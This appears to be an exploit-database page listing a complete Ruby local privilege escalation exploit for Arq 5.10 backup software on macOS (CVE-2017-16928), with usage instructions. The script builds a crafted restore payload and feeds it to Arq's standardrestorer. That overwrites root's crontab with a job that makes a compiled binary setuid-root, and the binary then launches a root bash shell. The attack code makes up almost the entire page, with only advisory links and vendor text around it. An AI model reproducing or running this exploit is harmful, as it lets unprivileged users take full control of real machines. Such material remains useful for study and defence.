Lucene search
K

Arq 5.10 - Local Privilege Escalation Exploit (1)

🗓️ 29 Jan 2018 00:00:00Reported by Mark WadhamType 
zdt
 zdt
🔗 0day.today👁 28 Views

Arq 5.10 - Privilege Escalation Exploit with local root overwrit

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Haystack Arq for Mac Local Elevation of Privilege Vulnerability
1 Feb 201800:00
cnvd
CVE
CVE-2017-16928
31 Jan 201820:00
cve
Cvelist
CVE-2017-16928
31 Jan 201820:00
cvelist
EUVD
EUVD-2017-8098
7 Oct 202500:30
euvd
NVD
CVE-2017-16928
31 Jan 201820:29
nvd
OSV
CVE-2017-16928
31 Jan 201820:29
osv
Packet Storm
Arq 5.10 Local Privilege Escalation
29 Jan 201800:00
packetstorm
Prion
Code injection
31 Jan 201820:29
prion
#!/usr/bin/env ruby
 
#################################################################
###### Arq <= 5.10 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html              ######
#################################################################
######                                                     ######
###### Usage:                                              ######
######                                                     ######
###### ./arq_5.10.rb  # stage 1                            ######
######                                                     ######
###### (wait for next Arq backup run)                      ######
######                                                     ######
###### ./arq_5.10.rb  # stage 2                            ######
######                                                     ######
###### if you know the HMAC from a previous run:           ######
######                                                     ######
###### ./arq_5.10.rb stage2 <hmac>                         ######
######                                                     ######
#################################################################
###### USE AT YOUR OWN RISK - THIS WILL OVERWRITE THE ROOT ######
###### USER'S CRONTAB!                                     ######
#################################################################
 
$binary_target = "/tmp/arq_510_exp"
 
class Arq510PrivEsc
  def initialize(args)
    @payload_file = ".arq_510_exp_payload"
    @hmac_file = ENV["HOME"] + "/.arq_510_exp_hmac"
    @backup_file = ENV["HOME"] + "/" + @payload_file
 
    @target = shell("ls -1t ~/Library/Arq/Cache.noindex/ |head -n1")
    @bucket_uuid = shell("grep 'writing head blob key' " +
      "~/Library/Logs/arqcommitter/* |tail -n1 |sed 's/^.*key //' |cut -d " +
      "' ' -f4")
    @computer_uuid = shell("cat ~/Library/Arq/config/app_config.plist |grep " +
      "-A1 #{@target} |tail -n1 |xargs |cut -d '>' -f2 |cut -d '<' -f1")
    @backup_endpoint = shell("cat ~/Library/Arq/config/targets/#{@target}.target " +
      "|grep -A1 '>endpointDescription<' |tail -n1 |xargs |cut -d '>' -f2 " +
      "| cut -d '<' -f1")
    @latest_backup_set = latest_backup_set
 
    puts "         target: #{@target}"
    puts "    bucket uuid: #{@bucket_uuid}"
    puts "  computer uuid: #{@computer_uuid}"
    puts "backup endpoint: #{@backup_endpoint}"
    puts "  latest backup: #{@latest_backup_set}\n\n"
 
    if args.length >0
      method = args.shift
      if respond_to? method
        send method, *args
      end
    else
      if File.exist? @hmac_file
        method = :stage2
      else
        method = :stage1
      end
 
      send method
    end
  end
 
  def shell(command)
    `#{command}`.chomp
  end
 
  def latest_backup_set
    shell("grep 'writing head blob' ~/Library/Logs/arqcommitter/* |tail -n1 " +
      "|sed 's/.*key //' |cut -d ' ' -f1")
  end
 
  def scan_hmac_list
    packsets_path = shell("find ~/Library/Arq/ -type d -name packsets")
    hmac = {}
 
    shell("strings #{packsets_path}/*-trees.db").split("\n").each do |line|
      if (m = line.match(/[0-9a-fA-F]+/)) and m[0].length == 40
        if !hmac.include? m[0]
          hmac[m[0]] = 1
        end
      end
    end
 
    hmac
  end
 
  def stage1
    print "building HMAC cache... "
 
    hmac = scan_hmac_list
 
    File.open(@hmac_file, "w") do |f|
      f.write(@latest_backup_set + "\n" + hmac.keys.join("\n"))
    end
 
    puts "done - stored at #{@hmac_file}"
 
    print "dropping backup file... "
 
    File.open(@backup_file, "w") do |f|
      f.write("* * * * * /usr/sbin/chown root:wheel #{$binary_target} &&" +
        "/bin/chmod 4755 #{$binary_target}\n")
    end
 
    puts "done"
    puts "wait for the next backup run to complete and then run again"
  end
 
  def stage2(target_hmac=nil)
    if !target_hmac
      if !File.exist? @hmac_file
        raise "hmac list not found."
      end
 
      print "loading HMAC cache... "
 
      data = File.read(@hmac_file).split("\n")
 
      puts "done"
 
      initial_backup_set = data.shift
 
      if initial_backup_set == @latest_backup_set
        puts "no new backup created yet"
        exit 1
      end
 
      hmac = {}
      data.each do |h|
        hmac[h] = 1
      end
 
      hmac_targets = []
 
      print "scanning for HMAC targets... "
 
      scan_hmac_list.keys.each do |h|
        if !hmac[h]
          hmac_targets.push h
        end
      end
 
      puts "done"
 
      if hmac_targets.length == 0
        puts "no HMAC targets, unable to continue."
        exit 0
      end
 
      puts "found #{hmac_targets.length} HMAC targets"
 
      hmac_targets.each do |hmac|
        attempt_exploit(hmac)
      end
    else
      attempt_exploit(target_hmac)
    end
  end
 
  def build_payload(hmac)
    d = "\x01\x00\x00\x00\x00\x00\x00\x00"
    e = "\x00\x00\x00\x00\x03"
 
    @overwrite_path = '/var/at/tabs/root'
 
    plist = "
<plist version=\"1.0\">
    <dict>
        <key>Endpoint</key>
        <string>#{@backup_endpoint}</string>
        <key>BucketUUID</key>
        <string>#{@bucket_uuid}</string>
        <key>BucketName</key>
        <string>/</string>
        <key>ComputerUUID</key>
        <string>#{@computer_uuid}</string>
        <key>LocalPath</key>
        <string>/</string>
        <key>LocalMountPoint</key>
        <string>/</string>
        <key>StorageType</key>
        <integer>1</integer>
        <key>SkipDuringBackup</key>
        <false></false>
        <key>ExcludeItemsWithTimeMachineExcludeMetadataFlag</key>
        <false></false>
    </dict>
</plist>"
 
    hex = plist.length.to_s(16).rjust(4,'0')
    plist_size = (hex[0,2].to_i(16).chr + hex[2,2].to_i(16).chr)
 
    pfl = @payload_file.length.chr
    opl = @overwrite_path.length.chr
    bel = @backup_endpoint.length.chr
 
    payload = sprintf(
      (
        "%s\$%s%s%s%s\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" +
        "\x00\x00\x00\x00\x00\x09\x00\x00\x02\xd0\x96\x82\xef\xd8\x00\x00\x00" +
        "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x08\x30" +
        "\x2e\x30\x30\x30\x30\x30\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00%s%s%s\x28%s\x01\x00\x00\x00%s" +
        "\x00\x00\x00%s%s%s\x00\x00\x00\x16\x00\x00\x00\x02%s\x28%s\x01\x00" +
        "\x00\x00%s\x00\x00\x00%s%s%s\x00\x00\x00\x00\x00\x00\x01\xf5\x00\x00" +
        "\x00\x00\x00\x00\x00\x14\x00%s%s%s\x00\x00\x00\x03%s\x0a"
      ).force_encoding('ASCII-8BIT'),
        d, @target,
        d, bel, @backup_endpoint,
        plist_size, plist,
        d, @latest_backup_set,
        d, d, pfl, @payload_file,
        d, hmac,
        d, d, pfl, @payload_file,
        d, opl, @overwrite_path,
        e * 10
      )
 
    return payload
  end
 
  def attempt_exploit(hmac)
    print "trying HMAC: #{hmac} ... "
 
    File.open("/tmp/.arq_exp_510_payload","w") do |f|
      f.write(build_payload(hmac))
    end
 
    output = shell("cat /tmp/.arq_exp_510_payload | " +
      "/Applications/Arq.app/Contents/Resources/standardrestorer 2>/dev/null")
 
    File.delete("/tmp/.arq_exp_510_payload")
 
    if output.include?("Creating directory structure") and !output.include?("failed")
      puts "SUCCESS"
 
      print "compiling shell invoker... "
 
      shellcode = "#include <unistd.h>\nint main()\n{ setuid(0);setgid(0);" +
        "execl(\"/bin/bash\",\"bash\",\"-c\",\"rm -f #{$binary_target};rm -f " +
        "/var/at/tabs/root;/bin/bash\","+ "NULL);return 0; }"
 
      IO.popen("gcc -xc -o #{$binary_target} -", mode="r+") do |io|
        io.write(shellcode)
        io.close
      end
 
      puts "done"
 
      print "waiting for root+s... "
 
      timeout = 61
      i = 0
      stop = false
 
      while i < timeout
        s = File.stat($binary_target)
 
        if s.mode == 0104755 and s.uid == 0
          puts "\n"
          exec($binary_target)
        end
 
        sleep 1
        i += 1
 
        if !stop
          left = 60 - Time.now.strftime("%S").to_i
          left == 1 && stop = true
 
          print "#{left} "
        end
      end
 
      puts "exploit failed"
      exit 0
    else
      puts "FAIL"
    end
  end
end
 
Arq510PrivEsc.new(ARGV)

#  0day.today [2018-02-19]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jan 2018 00:00Current
7.4High risk
Vulners AI Score7.4
EPSS0.01009
28